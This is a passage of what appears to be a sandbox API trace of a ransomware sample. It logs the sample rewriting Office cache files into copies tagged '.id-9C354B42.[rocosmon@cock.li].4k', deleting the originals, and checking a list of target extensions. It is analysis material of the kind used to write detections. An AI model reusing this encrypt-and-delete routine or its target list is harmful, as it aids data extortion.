	[0101.892] lstrcmpiW (lpString1=".exe", lpString2=".4k") returned 1
	[0101.892] lstrlenW (lpString="ose.exe") returned 7
	[0101.892] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0101.893] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x311ff1c | out: lpFileSize=0x311ff1c*=174440) returned 1
	[0101.893] CloseHandle (hObject=0x200) returned 1
	[0101.893] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020
	[0101.893] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0101.893] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0101.893] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.893] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.893] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0101.893] GetLastError () returned 0x0
	[0101.893] ReadFile (in: hFile=0x200, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x311fed4*=0x2a968, lpOverlapped=0x0) returned 1
	[0101.963] WriteFile (in: hFile=0x1fc, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x311fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x311fc9c*=0x2a970, lpOverlapped=0x0) returned 1
	[0101.965] ReadFile (in: hFile=0x200, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x311fed4*=0x0, lpOverlapped=0x0) returned 1
	[0101.966] WriteFile (in: hFile=0x1fc, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x311fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x311fc9c*=0xe2, lpOverlapped=0x0) returned 1
	[0101.966] SetEndOfFile (hFile=0x1fc) returned 1
	[0101.966] CloseHandle (hObject=0x1fc) returned 1
	[0101.966] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.966] SetEndOfFile (hFile=0x200) returned 1
	[0101.968] CloseHandle (hObject=0x200) returned 1
	[0101.968] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0101.968] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1
	[0101.968] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0101.968] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0101.968] lstrlenW (lpString=".doc") returned 4
	[0101.968] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0101.968] lstrlenW (lpString=".docx") returned 5
	[0101.968] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1
	[0101.968] lstrlenW (lpString=".pdf") returned 4
	[0101.968] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0101.968] lstrlenW (lpString=".xls") returned 4
	[0101.968] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0101.969] lstrlenW (lpString=".xlsx") returned 5
	[0101.969] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1
	[0101.969] lstrlenW (lpString=".ppt") returned 4
	[0101.969] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0101.969] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0101.969] lstrlenW (lpString=".zip") returned 4
	[0101.969] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0101.969] lstrlenW (lpString=".rar") returned 4
	[0101.969] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0101.969] lstrlenW (lpString=".bz2") returned 4
	[0101.969] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0101.969] lstrlenW (lpString=".7z") returned 3
	[0101.969] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0101.969] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0101.969] lstrlenW (lpString=".dbf") returned 4
	[0101.969] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0101.969] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0101.969] lstrlenW (lpString=".1cd") returned 4
	[0101.969] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0101.969] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0101.969] lstrlenW (lpString=".jpg") returned 4
	[0101.969] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0101.969] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0101.969] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0101.969] lstrlenW (lpString=".doc") returned 4
	[0101.969] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0101.969] lstrlenW (lpString=".docx") returned 5
	[0101.969] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1
	[0101.969] lstrlenW (lpString=".pdf") returned 4
	[0101.969] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0101.969] lstrlenW (lpString=".xls") returned 4
	[0101.969] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0101.969] lstrlenW (lpString=".xlsx") returned 5
	[0101.970] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1
	[0101.970] lstrlenW (lpString=".ppt") returned 4
	[0101.970] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0101.970] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0101.970] lstrlenW (lpString=".zip") returned 4
	[0101.970] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0101.970] lstrlenW (lpString=".rar") returned 4
	[0101.970] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0101.970] lstrlenW (lpString=".bz2") returned 4
	[0101.970] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0101.970] lstrlenW (lpString=".7z") returned 3
	[0101.970] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0101.970] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0101.970] lstrlenW (lpString=".dbf") returned 4
	[0101.970] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0101.970] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0101.970] lstrlenW (lpString=".1cd") returned 4
	[0101.970] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0101.970] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0101.970] lstrlenW (lpString=".jpg") returned 4
	[0101.970] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0101.970] lstrcmpiW (lpString1=".dll", lpString2=".4k") returned 1
	[0101.970] lstrlenW (lpString="PidGenX.dll") returned 11
	[0101.970] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0101.971] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x311ff1c | out: lpFileSize=0x311ff1c*=1463568) returned 1
	[0101.971] CloseHandle (hObject=0x200) returned 1
	[0101.971] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020
	[0101.971] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0101.971] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0101.971] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.971] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.971] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0101.971] GetLastError () returned 0x0
	[0101.971] ReadFile (in: hFile=0x200, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x311fed4*=0xffff0, lpOverlapped=0x0) returned 1
	[0102.910] WriteFile (in: hFile=0x1fc, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x311fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x311fc9c*=0xffff0, lpOverlapped=0x0) returned 1
	[0102.924] ReadFile (in: hFile=0x200, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x311fed4*=0x65520, lpOverlapped=0x0) returned 1
	[0104.689] WriteFile (in: hFile=0x1fc, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x311fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x311fc9c*=0x65530, lpOverlapped=0x0) returned 1
	[0104.857] ReadFile (in: hFile=0x200, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x311fed4*=0x0, lpOverlapped=0x0) returned 1
	[0104.857] WriteFile (in: hFile=0x1fc, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x311fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x311fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0104.857] SetEndOfFile (hFile=0x1fc) returned 1
	[0104.857] CloseHandle (hObject=0x1fc) returned 1
	[0104.858] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec8 | out: lpNewFilePointer=0x0) returned 1
	[0104.858] SetEndOfFile (hFile=0x200) returned 1
	[0104.861] CloseHandle (hObject=0x200) returned 1
	[0104.862] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0104.862] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1
	[0104.862] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0104.862] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0104.862] lstrlenW (lpString=".doc") returned 4
	[0104.862] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0104.862] lstrlenW (lpString=".docx") returned 5
	[0104.862] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1
	[0104.862] lstrlenW (lpString=".pdf") returned 4
	[0104.862] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0104.862] lstrlenW (lpString=".xls") returned 4
	[0104.862] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0104.862] lstrlenW (lpString=".xlsx") returned 5
	[0104.862] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1
	[0104.862] lstrlenW (lpString=".ppt") returned 4
	[0104.862] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0104.862] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0104.862] lstrlenW (lpString=".zip") returned 4
	[0104.862] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0104.863] lstrlenW (lpString=".rar") returned 4
	[0104.863] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0104.863] lstrlenW (lpString=".bz2") returned 4
	[0104.863] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0104.863] lstrlenW (lpString=".7z") returned 3
	[0104.863] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0104.863] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0104.863] lstrlenW (lpString=".dbf") returned 4
	[0104.863] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0104.863] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0104.863] lstrlenW (lpString=".1cd") returned 4
	[0104.863] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0104.863] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0104.863] lstrlenW (lpString=".jpg") returned 4
	[0104.863] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0104.863] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0104.863] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0104.863] lstrlenW (lpString=".doc") returned 4
	[0104.869] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0104.869] lstrlenW (lpString=".docx") returned 5
	[0104.869] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1
	[0104.869] lstrlenW (lpString=".pdf") returned 4
	[0104.869] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0104.869] lstrlenW (lpString=".xls") returned 4
	[0104.869] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0104.869] lstrlenW (lpString=".xlsx") returned 5
	[0104.869] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1
	[0104.869] lstrlenW (lpString=".ppt") returned 4
	[0104.869] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0104.869] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0104.869] lstrlenW (lpString=".zip") returned 4
	[0104.869] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0104.869] lstrlenW (lpString=".rar") returned 4
	[0104.869] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0104.869] lstrlenW (lpString=".bz2") returned 4
	[0104.869] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0104.869] lstrlenW (lpString=".7z") returned 3
	[0104.869] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0104.869] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0104.869] lstrlenW (lpString=".dbf") returned 4
	[0104.870] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0104.870] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0104.870] lstrlenW (lpString=".1cd") returned 4
	[0104.870] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0104.870] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0104.870] lstrlenW (lpString=".jpg") returned 4
	[0104.870] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0104.870] lstrcmpiW (lpString1=".exe", lpString2=".4k") returned 1
	[0104.870] lstrlenW (lpString="ose.exe") returned 7
	[0104.870] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0104.870] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x311ff1c | out: lpFileSize=0x311ff1c*=174440) returned 1
	[0104.870] CloseHandle (hObject=0x200) returned 1
	[0104.870] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020
	[0104.870] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0104.870] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0104.871] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec8 | out: lpNewFilePointer=0x0) returned 1
	[0104.871] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec8 | out: lpNewFilePointer=0x0) returned 1
	[0104.871] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0104.871] GetLastError () returned 0x0
	[0104.871] ReadFile (in: hFile=0x200, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x311fed4*=0x2a968, lpOverlapped=0x0) returned 1
	[0104.958] WriteFile (in: hFile=0x1fc, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x311fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x311fc9c*=0x2a970, lpOverlapped=0x0) returned 1
	[0104.961] ReadFile (in: hFile=0x200, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x311fed4*=0x0, lpOverlapped=0x0) returned 1
	[0104.961] WriteFile (in: hFile=0x1fc, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x311fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x311fc9c*=0xe2, lpOverlapped=0x0) returned 1
	[0104.961] SetEndOfFile (hFile=0x1fc) returned 1
	[0104.961] CloseHandle (hObject=0x1fc) returned 1
	[0104.961] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec8 | out: lpNewFilePointer=0x0) returned 1
	[0104.961] SetEndOfFile (hFile=0x200) returned 1
	[0104.963] CloseHandle (hObject=0x200) returned 1
	[0104.963] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0104.963] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1
	[0104.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0104.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0104.964] lstrlenW (lpString=".doc") returned 4
	[0104.964] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0104.964] lstrlenW (lpString=".docx") returned 5
	[0104.964] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1
	[0104.964] lstrlenW (lpString=".pdf") returned 4
	[0104.964] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0104.964] lstrlenW (lpString=".xls") returned 4
	[0104.964] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0104.964] lstrlenW (lpString=".xlsx") returned 5
	[0104.964] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1
	[0104.964] lstrlenW (lpString=".ppt") returned 4
	[0104.964] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0104.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0104.964] lstrlenW (lpString=".zip") returned 4
	[0104.964] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0104.964] lstrlenW (lpString=".rar") returned 4
	[0104.964] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0104.964] lstrlenW (lpString=".bz2") returned 4
	[0104.964] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0104.964] lstrlenW (lpString=".7z") returned 3
	[0104.964] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0104.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0104.964] lstrlenW (lpString=".dbf") returned 4
	[0104.964] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0104.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0104.965] lstrlenW (lpString=".1cd") returned 4
	[0104.965] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0104.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0104.965] lstrlenW (lpString=".jpg") returned 4
	[0104.965] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0104.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0104.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0104.965] lstrlenW (lpString=".doc") returned 4
	[0104.965] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0104.965] lstrlenW (lpString=".docx") returned 5
	[0104.965] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1
	[0104.965] lstrlenW (lpString=".pdf") returned 4
	[0104.965] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0104.965] lstrlenW (lpString=".xls") returned 4
	[0104.965] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0104.965] lstrlenW (lpString=".xlsx") returned 5
	[0104.965] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1
	[0104.965] lstrlenW (lpString=".ppt") returned 4
	[0104.965] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0104.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0104.965] lstrlenW (lpString=".zip") returned 4
	[0104.965] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0104.965] lstrlenW (lpString=".rar") returned 4
	[0104.965] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
